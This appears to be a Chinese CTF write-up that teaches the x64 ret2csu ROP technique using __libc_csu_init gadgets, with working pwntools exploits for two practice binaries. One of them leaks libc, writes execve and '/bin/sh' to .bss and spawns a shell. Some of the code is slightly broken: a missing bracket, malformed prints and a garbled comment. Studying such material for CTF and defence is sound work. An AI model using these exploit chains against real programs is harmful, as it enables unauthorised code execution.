利用原理

当在x64环境下函数的参数传递凑不齐类似“pop rdi;ret”/“pop rsi;ret”/“pop rdx;ret”等3个传参的gadgets时,就可以考虑使用_libc_csu_init函数的通用gatgets。

x64 下的 __libc_csu_init 这个函数是用来对 libc 进行初始化操作的,而一般的程序用 libc 函数,所以这个函数一定会存在。 (不同版本的这个函数有一定的区别)
简单来说就是利用libc_csu_init中的两段代码片段来实现3个参数的传递(间接性的传递参数)

第一段gadgets

根据环境的不同 r13\r14\r15的顺序也有可能不同

1
2
3
4
5
6
7
.text:000000000040075A   pop  rbx  #需置为0,为配合第二段代码的call指令寻址
.text:000000000040075B   pop  rbp  #需置为1
.text:000000000040075C   pop  r12  #需置为要调用的函数地址,注意是got地址而不是plt地址,因为plt表中存的是指令,也就无法进行call
.text:000000000040075E   pop  r13  #write函数的第一个参数
.text:0000000000400760   pop  r14  #write函数的第二个参数
.text:0000000000400762   pop  r15  #write函数的第三个参数
.text:0000000000400764   retn

第二段gadgets

1
2
3
4
5
6
7
.text:0000000000400740   mov  rdx, r13
.text:0000000000400743   mov  rsi, r14
.text:0000000000400746   mov  edi, r15d
.text:0000000000400749   call  qword ptr [r12+rbx*8]#想要调用r12的地址就需要将rbx置为0,即0*8 才不会产生偏移量
add     rbx, 1 #此时,rbx会加1,然后和rbp对比
cmp     rbp, rbx #payload中只需要将rbp置为1,比较结果为非零值,便不会发生跳转,使程序继续执行到ret的位置
jnz     short loc_5555555546F0

这两段代码运行后,会将栈顶指针移动56字节

所以一般要在后面加上56个字节的数据才可以连接到到ret位置进行跳转

流程示意图

图片

利用思路

  1. 当在x64程序中找不到rdx、rsi、edi时,再使用此方法
  2. 确定gadget1、gadget2的地址及顺序
    • 正序 - r15->r14->r13->r12
      1
      2
      3
      .text:00000000004011C8   mov  rdx, r15
      .text:00000000004011CB   mov  rsi, r14
      .text:00000000004011CE   mov  edi, r13d
    • 逆序 - r13->r14->r15->r12
      1
      2
      3
      .text:0000000000400740   mov  rdx, r13
      .text:0000000000400743   mov  rsi, r14
      .text:0000000000400746   mov  edi, r15d
  3. 构造初步ret2csu payload函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    def ret2csu(padding, rbx, rbp, r12, r13, r14, r15, sign, ret_addr):
    payload = padding
        payload+= p64(gadgets1)  #gadget1
    payload += 'b'*8
        payload+= p64(rbx)  #rbx
        payload+= p64(rbp)  #rbp
        payload+= p64(r12)  #r12 - 要使用的函数
        if sign == 'asc': #正序
            payload+= p64(r13)  # rdx - 参数1
            payload+= p64(r14)  # rsi - 参数2
            payload+= p64(r15) # edi - 参数3
        elif sign == 'desc': #逆序
            payload+= p64(r15) # rdi - 参数3
            payload+= p64(r14)  # rsi - 参数2
            payload+= p64(r13)  # rdx - 参数1
        payload+= p64(gadgets2) #gadget2
        
        payload += 'c' * 0x38 #抬高7*8个字节
        payload += p64(ret_addr) #及返回地址
        r.sendline(payload)

例题

easy_csu[init_array_start]

点击下载-提取码:ne7q

思路

  1. 通过IDA得出,只要可以运行vul函数就算是完成了
    图片
  2. checksec看到程序是64位的,并且在程序中找不到rdx、rsi、edi时
  3. 利用_libc_csu_init函数中的两个代码片段来实现这三个参数的传递
  4. 确定gadget1、gadget2的地址
  5. 由于程序中vul函数并未执行过,而call函数的用法是跳转到某地址内所保存的地址,但此时的vul地址内并没有真实地址,所以这里要考虑绕过call这个调用,直接通过retn跳转至vul处(真实地址)
    图片
  6. 这里通过init_array_start函数的指针来跳过call
    init_array_start函数是ELF程序的一个初始化函数,运行它不会对栈空间造成影响,可以说是用于跳过call指令的最佳选择
  7. 构造payload进行溢出,返回结果直接到vul函数的上
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
       payload = offset*'a'
    payload += p64(gadget1)
    payload += "b"*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(init_array)
    payload += p64(3) + p64(3) + p64(3)
    payload += p64(gadget2)
    payload += 'c'*0x38
    payload += p64(elf.symbols["vul"])

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#-*- coding:utf-8
from pwn import *
sh = process("./easy_csu")
elf = ELF("easy_csu")
context.log_level = "debug"
offset = 40
gadget1 = 0x00000000004011FE
gadget2 = 0x00000000004011E8
init_array = elf.symbols['__init_array_start']
payload = offset*'a'
payload += p64(gadget1)
payload += "b"*8
payload += p64(0)
payload += p64(1)
payload += p64(init_array)
payload += p64(3) + p64(3) + p64(3)
payload += p64(gadget2)
payload += 'c'*0x38
payload += p64(elf.symbols["vul"])
sh.sendline(payload)
sh.interactive()

Level5[write\read\execve,三次溢出]

点击下载-提取码:bpiv

思路

  1. 确定csu函数中r13、r14、r15的顺序

    参数 正序即可

  2. 利用csu_gadgets泄露write函数的真实地址,并返回至主函数

    • 在通用gadgets中以write函数来泄露write函数的真实地址
      csu(write_got, 1, write_got, 8, main_addr)
  3. 利用wirte函数的真实地址来计算system函数的地址(或execve函数)

    1
    2
    3
    write_addr = u64(sh.recv(8))
    base_addr = write_addr - libc.symbols['write']
    execve_addr = base_addr+ libc.symbols['execve']
  4. 再次利用csu_gadgets将execve函数的地址及‘/bin/sh’写入到程序bss段

    1
    csu(read_addr,0,bss_addr,16,main_addr)
  5. 再次利用csu_gadgets执行bss段内容

    即(execve函数地址+‘/bin/sh’)

    1
    csu(bss_base,bss_base + 8,0,0,main_addr)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# #coding:utf-8
from pwn import *
sh = process("./level5")
elf = ELF("./level5")
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gadget1 = 0x00000000004011DE
gadget2 = 0x00000000004011C8
write_got = elf.got['write']
main_addr = elf.symbols['main']
print "write_got:"hex(write_got)
print "main_Addr:"hex(main_addr)
def csu(r12,r13,r14,r15,ret_addr):
    payload = "a"*136
    payload += p64(gadget1)
    payload += 'b'*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)
    payload += p64(r13)#参数1
    payload += p64(r14)#参数2
    payload += p64(r15)#参数3
    payload += p64(gadget2)
    payload += 'c' * 0x38
    payload += p64(ret_addr)
    sh.sendline(payload)
###第一次溢出,泄露write函数的地址
sh.recvuntil("Hello, World\n")
csu(write_got,1,write_got,8,main_addr)
#利用write函数(因为gadget2中的代码为call,所以必须为write函数的got地址)
#来读取write的got表内容,向后读取8个字节,然后返回至main住花鸟属
write_addr = u64(sh.recv(8))
#接收数据,并解包 
print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)#偏移地址
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)
####第二次溢出,利用read函数写入execve()+/bin/sh
read_addr = elf.got['read'
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main_addr)
#读取用户输入的数据到指定的bss地址,写入16个字节
sh.recvuntil("Hello, World\n")
#gdb.attach(sh)
sh.send(p64(execve_addr)+'/bin/sh\x00')
#发送execve的地址加上/bin/sh到bss段
print "bss_addr:",hex(bss_addr)
###第三次溢出,调用bss地址内的代码
sh.recvuntil("Hello, World\n")
csu(bss_addr,bss_addr+8,0,0,main_addr)
#也就是利用gadget2中的call 来获取权限 
sh.interactive()